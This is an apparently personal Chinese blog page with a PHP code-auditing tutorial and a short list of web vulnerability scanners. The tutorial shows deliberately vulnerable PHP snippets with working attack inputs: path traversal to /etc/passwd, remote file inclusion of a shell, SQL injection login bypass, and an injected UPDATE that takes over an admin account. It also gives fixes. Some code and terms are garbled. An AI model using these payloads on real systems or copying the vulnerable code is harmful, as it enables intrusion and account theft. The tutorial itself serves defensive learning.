2013年5月3日星期五

初识PHP代码审计


                     

0x01.全局变量

  php中并不需要申明全局变量,当必须使用它时会自动创建
  例:
   前  if($is_admin==1){
          .....  //此时会重定向到管理界面
  }else{
     .....
  }
  利用:在文件bugged.php提交
  http://127.0.0.1/bugged.php?is_admin=1
 
   后   $is_admin=0;  //申明变量
        if($is_admin==1){
          .....  //此时会重定向到管理界面
  }else{
     .....
  }
 


0x02.文件包含


-------动态包含文件(部分路径名包含在某些变量中),而变量又未申明
  例:

 前    <?php
        include "/users/".$include_path.".php";
       ?>
   利用:http://127.0.0.1/bugged.php?include_path=../../../etc/passwd
   提交恶意数据,使其包含了/etc/passwd文件
   是一个NULL字符,用于删除php文件扩展名
 
 
--------远程文件包含

   前:<?php
        include ($GET['pag']);
       ?>
   
  利用:对$pag文件没有进行验证的话,可以通过浏览器的包含或者调用他的脚本
         获得电脑的访问权

1.提权
http://127.0.0.1/inc.php?pag=[Evil Script -our shell located on our server]
2.浏览文件
http://127.0.0.1/inc.php?pag=/ect/passwd

  修改:创建一个可访问页面的列表,对输入值进行验证
       <?php
    ...
   $pag=$_GET['pag'];
$pags=array('index.php','alfa.php','gamma.php');
if(in_array($pag,$pags)){
include($pag);
}else{
die("Hacking Attempt!");
}
...
  ?>
 
 

 0x03.跨站脚本

 0x04.sqL注入

        (') 用于划分字符
(#) 用于注释
(;)在数据库中用来构造新的请求语句

  例:绕过登录验证--获得管理权限
    <?php
 ...
     //登录脚本
        $nick=$_POST['nick'];
        $pass=$_POST['post'];
        $link=mysql_connect('localhost','root','root')or die('Error'.mysql_error());
mysql_select_db("sql_inj",$link);

$query=mysql_query("SELECT*FROM sql_inj WHERE nick='".$nick"'AND
pass='".$pass."'",$link);
if(mysql_num_rows($query)==0){
echo"<script type=\"test/javascript\">
    window.location.href='index.html';</script>";
exit;
$logged=1
...
}
?>
此处两个变量用于SQL请时没有进行任何有效的验证,所以可以进行注入
恶意构造1:
$nick=1'OR'1'='1
$pass=1'OR'1'='1

"SELECT*FROM sql_inj WHERE nick='1'OR'1'='1'AND pass='1'OR'1'='1'"
恶意构造2:
    $nick=1'OR'1'='1'#
$pass=what_we_want_to_put
"SELECT*FROM sql_inj WHERE nick='1'OR'1'='1'AND pass='what_we_want_to_put'"
   

   例
  <?php
  //邮件脚本
  ...
  $email=$_POST['email'];
  ...
  $query=mysql_query("SELECT email,passwd,user_name FROM users WHERE email='".$email."'");
  ...
  ?>
 
  构造语句:
  $email=x';UPDATE users SET email ='my@gmail.com'
   WHERE email='admin@site.com';
这样用my@gmail.com就能收到密码


修补:php.ini文件
1.set magic_quotes_gcp to On
 在(')(")(\)和 NULL 前自动加入转义符

2.use addslashes()
在字符串前面加上斜杠

3.htmlspecialchars()
将指定字符转化成html实体

4.mysql_escape_string()
转义mysql_query中使用的字符串

5.www.php.net

6.验证用户提取的信息
 $user_id=(int)$_GET['user_id']; 这里的id都是整数


0x05 文件遍历


<?php
..
$fp=fopen("/path/{$_GET['filename']}.txt",'r');
..
?>

由于filename可被远程修改,会导致文件遍历漏洞
可以利用(../)来移动目录查看文件
构造:
http://127.1/path/bug.php?filename=../../../path_of_another_file
以突破文件扩展名限制

修补:使用basename()函数
<?php
$clean=array();
if(basename($_GET['filemname'])==$_GET['filename']){
$clean['filename']=$_GET['filename'];
}
else{
..
}
$fp=fopen("/path/{$clean['filename']}.txt",'r');
?>


 
Read more »

2013年5月1日星期三

WEB安全扫描工具

0x2 Acunetix web vulnerability scanner(wvs)



0x3 NetSparker

1.漏洞判定准确度显示
2.Ajax/Javascript支持
3.启发式的检测
4.免费自动升级
5.支持报错注入、布尔注入
6.支持反射型、存储型跨站脚本漏洞检测

  下载地址:

0x4  Webcruiser

WebCruiser -网络漏洞扫描器
运行平台:Windows与NET框架2.0或以上。
界面语言:英文版
功能简介:
*网站爬虫(目录及文件); 
*漏洞扫描(SQL注入,跨站脚本)
*漏洞验证(SQL注入,跨站脚本); 
* SQL SERVER明文/字段定义内容显/盲注; 
* MySQL的字段定义内容显/盲注; 
* Oracle的字段定义内容显/盲注; 
* DB2字段回显银牌/盲注
*访问字段定义内容显/盲注; 
*管理入口查找; 
* GET /邮政/曲奇注入; 
*搜索型注入站,延时; 
*自动从自带浏览器获取的Cookie进行认证; 
*自动判断数据库类型; 
自动获取关键词; 
*多线程; 
*高级:代理,敏感词替换/过滤; 
*报告; 
--------------------------- ------------------------ 
功能:
*网站爬虫(目录及文件); 
*漏洞扫描(SQL注入,跨站脚本); 
*(POC概念证明):SQL注入和跨站脚本; 
* GET / POST / Cookie的注射; 
* SQL服务器:明文/字段回(联盟)/盲注; 
* Access字段回显/盲注(联盟)
*管理入口搜索
*密码哈希的SQL Server / MySQL的/ Oracle管理员; *自动获取Cookie从Web浏览器的认证; *多线程 *含混控:代理,escape过滤器; *报告
*搜索型注入延时; 输出。


0x5   jsky

JSky(竭思)作为一款国内著名的网站漏洞扫描工具,提供网站漏洞扫描服务,即能查找出网站中的漏洞;网站漏洞检测工具提供网站漏洞检测服务,即能模拟黑客攻击来评估计算机网站安全的一种评估方法。渗透测试模块能模拟黑客攻击,让您立刻掌握问题的严重性。


jsky支持的操作系统平台
Windows 2000/Windows XP/Windows 2003/Windows Vista/Windows7



Read more »
Blogger 提供支持.

This is me

© Manuel